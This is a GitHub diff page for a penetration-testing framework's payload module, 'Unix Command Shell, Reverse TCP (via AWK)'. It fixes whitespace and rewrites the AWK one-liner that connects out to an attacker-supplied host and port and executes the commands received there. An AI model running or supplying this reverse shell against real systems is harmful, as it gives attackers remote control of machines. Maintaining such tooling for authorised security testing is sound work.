File tree Expand file tree Collapse file tree 1 file changed +2
-2
lines changed
modules/payloads/singles/cmd/unix Expand file tree Collapse file tree 1 file changed +2
-2
lines changed Original file line number Diff line number Diff line change @@ -19,7 +19,7 @@ def initialize(info = {})
19
19
super ( merge_info ( info ,
20
20
'Name' => 'Unix Command Shell, Reverse TCP (via AWK)' ,
21
21
'Description' => 'Creates an interactive shell via AWK' ,
22
- 'Author' =>
22
+ 'Author' =>
23
23
[
24
24
'espreto <robertoespreto[at]gmail.com>' ,
25
25
'Ulisses Castro <uss.thebug[at]gmail.com>' ,
@@ -51,7 +51,7 @@ def generate
51
51
# Returns the command string to use for execution
52
52
#
53
53
def command_string
54
- "awk 'BEGIN{for( s=\" /inet/tcp/0/#{ datastore [ 'LHOST' ] } /#{ datastore [ 'LPORT' ] } \" ;s|&getline c;close(c)){ while(c|& getline)print $0|& s} }'"
54
+ "awk 'BEGIN{s=\" /inet/tcp/0/#{ datastore [ 'LHOST' ] } /#{ datastore [ 'LPORT' ] } \" ;for(; s|&getline c;close(c))while(c|getline)print|&s;close(s) }'"
55
55
end
56
56
57
57
end
You can’t perform that action at this time.
0 commit comments